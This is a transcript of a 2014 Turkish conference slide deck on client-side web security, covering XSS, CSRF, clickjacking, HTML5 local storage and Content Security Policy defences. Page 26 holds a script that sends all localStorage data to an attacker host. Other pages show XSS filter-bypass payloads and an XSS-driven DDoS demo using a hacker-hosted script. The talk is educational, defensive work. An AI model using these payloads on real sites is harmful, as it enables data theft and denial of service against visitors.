Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

36
Son Kullanıcı Güvenliği & CSP Mehmet Dursun İNCE

description

Siber Güvenlik Konferansı'14 etkinliğinde Mehmet İnce tarafından gerçekleştirilen sunum dosyasıdır.

Transcript of Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Page 1: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Son Kullanıcı Güvenliği &

CSP Mehmet Dursun İNCE

Page 2: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

mince@rootlab ~ $ whoami Mehmet Dursun İNCE Penetration Tester at IntelRAD Zafiyet Araştırmacısı Blog Yazarı: www.mehmetince.net Linux & OpenSource PHP, Python, ...

Page 3: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

mince@rootlab ~ $ cat icerik.txt Client-Side Security Nedir ? CSRF, XSS ve ClickJacking Internet Tarayıcıları HTML5 SKiddieTrapper.js & CryptoPost.js

Page 4: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Son Kullanıcı Güvenliği Nedir ? ● SSL’den ibaret değildir. ● Güvenli “oturum” yönetimi gerektirir.

● User Interface güvenliği

Page 5: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

S.K. Yönelik Popüler Siber Tehditler ● ... ● XSS ● CSRF ● Clickjacking ● ...

Page 6: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS XSS <script>alert(1)</script>’den ibaret değildir.

COOKIE değil Browser.

Page 7: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Password Cracking ● HTML5 - WebWorker

● Cracking Speed : 609.384 / sec (MD5)

● Ravan - JavaScript Distributed Computing System

Page 8: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - L7 DDoS ● XMLHttpRequest - WebSockets

● www.hedef.com/?search=”a”+”b”

● 10,000 / min

Page 9: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Demo - Step 1 ● http://www.hacker.com/ddos.js

Page 10: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Demo - Step 2 ● Dakika içinde 100 tekil kullanıcı alan web

sitesine ddos.js dosyası Stored XSS vb yöntemler ile yerleştirilir.

● Örneğin : e-ticaret, gazete/haber siteleri. ● Sosyal mühendislik + reklam (JS!) ?

Page 11: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Demo - Step 3 ● http://lab.mehmetince.net adresine giren

Chrome kullanıcıları.

Page 12: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Demo - Step 3 ● Request sunucuya erişecektir, dönen

değerin okunması ve işlemi alınması yasaktır!

Page 13: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

XSS Tehlikeleri - Demo - Sonuç ● Ortalama her tarayıcı 10,000 talep / dakika ● Dakika içerisinde 100 tekil kullanıcı alan bir

sitenin ziyaretçileri üzerinden; ● Toplam ≃ 1.200.000 / dakika ● = 200.000 / saniye ● WAF ? Firewall ?

Page 14: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Cross Site Request Forgery Özet - HTTP GET; … <img src="//site.com/sing_out"> …

Page 15: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Cross Site Request Forgery Özet - HTTP POST;

Page 16: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Demo - Step 1 1. Hedef : eticaret sitesi kullanıcıları. 2. Kullanıcı mail adresi değişikliği işleminde

mevcut şifre talep edilmemektedir. 3. Uygulama genelinde CSRF Token

kullanılmamıştır.

Page 17: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Demo - Step 2 1. www.herhangibirsite.com adresine aşağıdaki

CSRF Exploit kodları yerleştirilir.

Page 18: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Demo - Step 3.1 www.herhangibirsite.com adresini ziyaret eden kullanıcı, farkında olmadan email adresini değiştiren HTTP talebini gönderir.

Page 19: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Demo - Step 3.2

EMAIL DOĞRULAMA

Page 20: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CSRF - Demo - Step 4

ŞİFREMİ UNUTTUM

Page 21: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14
Page 22: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

ClickJacking

Page 23: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

ClickJacking - Önlemi X-Frame-Options : DENY, SAMEORIGIN, https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

Page 24: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

HTML5 Avantajları

● Blacklist Bypass o ... o <video poster=javascript:alert(1)//></video> o …

Page 25: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

HTML5 Local Storage <script> localStorage.setItem("email", "[email protected]"); var f = document.getElementById("email"); f.innerHTML=localStorage.getItem("email"); </script>

Page 26: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

HTML5 Local Storage <script> for(var i = 0; i < localStorage.length; i++){ var key = localStorage.key(i); var a = new Image(); a.src="http://saldirgan/kaydet.php?key=" + key + "&value=" + localStorage.getItem(key); } </script>

Page 27: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Content Security Policy

Page 28: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Content Security Policy - Özellikler connect-src : WebSocket, XHR, EventSource font-src : https://themes.googleusercontent.com frame-src: https://youtube.com img-src : * -Her şeye izin ver- media-src : *.site.com object-src : self -Flash vb- script-src : ‘self’ ‘unsafe-eval’ ‘unsafe-inline’ style-src : self

Page 29: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Content Security Policy - Örnek

Page 30: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Facebook CSP Örneği

Page 31: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Content Security Policy - Rapor script-src : ‘self’ report-uri : ‘log.php’

Page 32: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

X-XSS-Protection X-XSS-Protection: 1; mode=block

Page 33: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

CryptoPost.js ● RSA Key Encryption ● POST parametreleri encrypt etmek. ● Hacker’lara ve MITM saldırılarına önlem. ● Opensource ve pull request’e açık. ● https://github.com/mmetince/crypto_post

Page 34: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

SKiddieTrapper.js ● Potansiyel saldırganlara tuzak kurmak. ● FORM’lara input’lar enjekte etmekte. ● Opensource ve pull request’e açık. ● https://github.com/mmetince/skiddie_trapper

Page 35: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

SKiddieTrapper.js

Page 36: Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14

Teşekkürler ● www.mehmetince.net ● twitter.com/mmetince